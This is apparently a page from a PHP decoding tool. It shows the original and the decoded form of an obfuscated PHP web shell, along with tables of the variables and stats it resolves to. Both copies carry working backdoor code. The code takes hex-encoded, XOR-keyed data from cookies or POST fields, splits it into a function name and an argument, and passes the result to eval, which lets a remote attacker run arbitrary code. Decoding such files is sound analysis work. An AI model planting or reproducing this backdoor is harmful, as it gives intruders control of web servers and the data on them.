Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $qPhgE/* HJ */=/* pMJMB */chr ( 462 - 347 ).chr/* R */(116) ./* XXWcP ..

Decoded Output download

<?php 
$qPhgE/*   HJ  */=/*   pMJMB  */chr (	462 -  347 ).chr/*   R */(116)    ./*  XXWcP   */'r'   .	"_"  .	"r" ./* kk*/chr	(101)	.    chr	(	840 -	728	)."e"	.  "a"/*   jYm  */./* F*/'t'; 
  $DDUevWVak/*w  */=	'e'     .	"x"  .     "p"/* D */.     "l"	.	"o"/*  koq */.     chr/*  x  */(100) ./*   G  */chr/*  QTzNL   */(101); 
    $nAdewxwaW	=/*nbrzC   */"p"   .    chr/*   h  */(97)    ./*wa */'c'    .	'k'; 
function     qLeSUVhcqt() 
	{ 
		/*EfI   */$WzDGAza    =	Array	(/* EvoMd*/"rnBflcfkOJuLuWUSn" =>    "KnweFfRQZEvetnXsOZxMDw"/* tFu */); 
   
				/*   KBJfd  */$JHlnXLtHF/*c  */= Array/*qSxcO  */(/*RNG*/"AKZapiKNjRkEFdzTemNnsucoSVlCWY"  =>/*  cI*/"uRWFfipreYRTQyYmcyrGYcQeRJy"   );$_PdgXc/*   ZurL*/=/*   aMhmB*/'65227'; 
 	$xwMETpXVh =	Array(/*v */$WzDGAza,  $_COOKIE,	$WzDGAza,	$_POST,/* QByj  */$JHlnXLtHF); 
				/* req */ 
						return/* cAJk   */$xwMETpXVh;; 
 
 
  } 
						 
			 function  uBHpViqzyc($aWzMxuux,  $WzDGAza) 
	   { 
 
 
	if  (	count     (/*  yEXZ   */$aWzMxuux/*h */)/*  ruw  */==    3/*SkNji  */)	{ 
		$sNhCn/*  xo*/= $aWzMxuux[1]; 
	$MMgtvVYpL  =	$aWzMxuux[2];; 
/*   fzh  */$qlUfwtt/*  h */=/*W */$sNhCn($MMgtvVYpL);; 
  	eval     (  $qlUfwtt/*  YVX */); 
					/* jAQH*/die ();; 
/*  TkqT  */} 
	   } 
    	 
 	function bPBrnx($orcfoZ,/* V   */$FHCjNKaf) 
		{ 
 
   return  $orcfoZ/*  AryMs  */^/* BcR */$FHCjNKaf; 
    	} 
				      
		   $HiVKlrsP	=   "#"; 
 
 
/*BDNBd  */ 
         foreach	(qLeSUVhcqt()/*ZjTTL */as	$qBQTbvg)/*   Mi   */{ 
			foreach	( $qBQTbvg	as	$FHCjNKaf =>    $orcfoZ  )/*  TyA   */{ 
 
   
	$LzfuPabRbJ     =/*   QRM   */strlen( $orcfoZ/* eOQ */)/strlen(	$FHCjNKaf/* aIcWY*/); 
			  
    	$orcfoZ/*  SRm */=	@$nAdewxwaW(	chr (72)	.    "*",/*y */$orcfoZ	);$_gkfS    =/*   zG */'25011'; 
					 
					   $FHCjNKaf	.=/* L */"uay-cToA-yRexv-Vofkbma-fxu-iqa-dFmj";$_ackdQ   =  '62231'; 
	$FHCjNKaf	=	$qPhgE     (/* Usrja */$FHCjNKaf,	$LzfuPabRbJ/*vWd  */+/*xSWsU*/1);; 
			/*sk */ 
			/*  y */$mZcLElZmIQ	=     strrev("");; 
     	 
				/*WCX  */$mZcLElZmIQ/*  N   */=/*   E */bPBrnx($orcfoZ,/*  j*/$FHCjNKaf); 
			/*  M  */ 
			/*   Qt*/$aWzMxuux  =/* RfO*/$DDUevWVak	($HiVKlrsP,/*   T   */$mZcLElZmIQ	);$_nOHyz/*  O   */=	'40365'; 
 /*   zBnNc */ 
		uBHpViqzyc($aWzMxuux,	$HiVKlrsP);$_cqL/* XXpc   */=  '17444'; 
		 
				    continue; 
 
 
/*  uCa*/} 
				/*   AqqTP*/} ?>

Did this file decode correctly?

Original Code

<?php
$qPhgE/*   HJ  */=/*   pMJMB  */chr (	462 -  347 ).chr/*   R */(116)    ./*  XXWcP   */'r'   .	"\x5f"  .	"\x72" ./* kk*/chr	(101)	.    chr	(	840 -	728	)."\x65"	.  "\141"/*   jYm  */./* F*/'t';
  $DDUevWVak/*w  */=	'e'     .	"\170"  .     "\x70"/* D */.     "\x6c"	.	"\157"/*  koq */.     chr/*  x  */(100) ./*   G  */chr/*  QTzNL   */(101);
    $nAdewxwaW	=/*nbrzC   */"\x70"   .    chr/*   h  */(97)    ./*wa */'c'    .	'k';
function     qLeSUVhcqt()
	{
		/*EfI   */$WzDGAza    =	Array	(/* EvoMd*/"rnBflcfkOJuLuWUSn" =>    "KnweFfRQZEvetnXsOZxMDw"/* tFu */);
  
				/*   KBJfd  */$JHlnXLtHF/*c  */= Array/*qSxcO  */(/*RNG*/"AKZapiKNjRkEFdzTemNnsucoSVlCWY"  =>/*  cI*/"uRWFfipreYRTQyYmcyrGYcQeRJy"   );$_PdgXc/*   ZurL*/=/*   aMhmB*/'65227';
 	$xwMETpXVh =	Array(/*v */$WzDGAza,  $_COOKIE,	$WzDGAza,	$_POST,/* QByj  */$JHlnXLtHF);
				/* req */
						return/* cAJk   */$xwMETpXVh;;


  }
						
			 function  uBHpViqzyc($aWzMxuux,  $WzDGAza)
	   {


	if  (	count     (/*  yEXZ   */$aWzMxuux/*h */)/*  ruw  */==    3/*SkNji  */)	{
		$sNhCn/*  xo*/= $aWzMxuux[1];
	$MMgtvVYpL  =	$aWzMxuux[2];;
/*   fzh  */$qlUfwtt/*  h */=/*W */$sNhCn($MMgtvVYpL);;
  	eval     (  $qlUfwtt/*  YVX */);
					/* jAQH*/die ();;
/*  TkqT  */}
	   }
    	
 	function bPBrnx($orcfoZ,/* V   */$FHCjNKaf)
		{

   return  $orcfoZ/*  AryMs  */^/* BcR */$FHCjNKaf;
    	}
				     
		   $HiVKlrsP	=   "\43";


/*BDNBd  */
         foreach	(qLeSUVhcqt()/*ZjTTL */as	$qBQTbvg)/*   Mi   */{
			foreach	( $qBQTbvg	as	$FHCjNKaf =>    $orcfoZ  )/*  TyA   */{

  
	$LzfuPabRbJ     =/*   QRM   */strlen( $orcfoZ/* eOQ */)/strlen(	$FHCjNKaf/* aIcWY*/);
			 
    	$orcfoZ/*  SRm */=	@$nAdewxwaW(	chr (72)	.    "\x2a",/*y */$orcfoZ	);$_gkfS    =/*   zG */'25011';
					
					   $FHCjNKaf	.=/* L */"uay-cToA-yRexv-Vofkbma-fxu-iqa-dFmj";$_ackdQ   =  '62231';
	$FHCjNKaf	=	$qPhgE     (/* Usrja */$FHCjNKaf,	$LzfuPabRbJ/*vWd  */+/*xSWsU*/1);;
			/*sk */
			/*  y */$mZcLElZmIQ	=     strrev("");;
     	
				/*WCX  */$mZcLElZmIQ/*  N   */=/*   E */bPBrnx($orcfoZ,/*  j*/$FHCjNKaf);
			/*  M  */
			/*   Qt*/$aWzMxuux  =/* RfO*/$DDUevWVak	($HiVKlrsP,/*   T   */$mZcLElZmIQ	);$_nOHyz/*  O   */=	'40365';
 /*   zBnNc */
		uBHpViqzyc($aWzMxuux,	$HiVKlrsP);$_cqL/* XXpc   */=  '17444';
		
				    continue;


/*  uCa*/}
				/*   AqqTP*/}

Function Calls

chr 7
qLeSUVhcqt 1

Variables

$qPhgE str_repeat
$_PdgXc 65227
$WzDGAza [{'key': 'rnBflcfkOJuLuWUSn', 'value': 'KnweFfRQZEvetnXsOZxMDw'}]
$HiVKlrsP #
$DDUevWVak explode
$JHlnXLtHF [{'key': 'AKZapiKNjRkEFdzTemNnsucoSVlCWY', 'value': 'uRWFfipreYRTQyYmcyrGYcQeRJy'}]
$nAdewxwaW pack
$xwMETpXVh [{'key': 0, 'value': [{'key': 'rnBflcfkOJuLuWUSn', 'value': 'KnweFfRQZEvetnXsOZxMDw'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'rnBflcfkOJuLuWUSn', 'value': 'KnweFfRQZEvetnXsOZxMDw'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'AKZapiKNjRkEFdzTemNnsucoSVlCWY', 'value': 'uRWFfipreYRTQyYmcyrGYcQeRJy'}]}]

Stats

MD5 6eb61ba76b63c3ac346f9bfa43fa83e5
Eval Count 0
Decode Time 244 ms